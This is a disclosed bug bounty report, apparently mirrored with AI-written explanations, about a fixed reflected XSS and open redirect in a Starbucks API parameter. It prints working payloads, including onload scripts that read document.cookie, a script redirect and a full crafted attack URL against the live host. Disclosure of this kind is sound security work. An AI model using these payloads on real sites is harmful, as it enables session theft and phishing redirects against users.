Reflected XSS in openapi.starbucks.com /searchasyoutype/v1/search?x-api-key=
A reflected cross-site scripting (XSS) vulnerability was found in the siteBaseUrl parameter of the searchasyoutype API endpoint. An attacker could inject a script that executes in the victim's browser, potentially stealing cookies or redirecting the user to a malicious site.
- Triaged in 5 days
- Fixed in 4 months
- Disclosed after 4 months
Hi Starbucks team, While testing i founded Reflected XSS in openapi.starbucks.com that can also lead to Open redirect Vulnerable link
https://openapi.starbucks.com/searchasyoutype/v1/search?x-api-key=██████&query=coffe&partnerid=████:vwt2u5wngbk&siteBaseUrl= Vulnerable parameter
siteBaseUrl Payloads
2). http://googl.com/%0a<body onload=prompt(%64ocument.domain)>%```
For Open redirect the payload is
=====================
http://googl.com/%0a<script>window.location='https://google.com';</script>%
So the finalized link with payload is given below
https://openapi.starbucks.com/searchasyoutype/v1/search?x-api-key=██████&query=coffe&partnerid=███████:vwt2u5wngbk&siteBaseUrl=http://googl.com/%0a<body onload=%61lert(%64ocument.%63ookie)>%
POC has been attached
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the siteBaseUrl parameter is reflected into the response without proper output encoding or validation.
Impact
An attacker could execute arbitrary JavaScript in a victim's browser, potentially stealing cookies or performing an open redirect to a malicious site.
What the attacker needed
Victim clicks a crafted link
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
The website takes a value from the URL and puts it directly into the page without cleaning it. An attacker can craft a link that, when clicked, runs their own code in the victim's browser. This could let them steal login cookies or send the user to a fake site.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.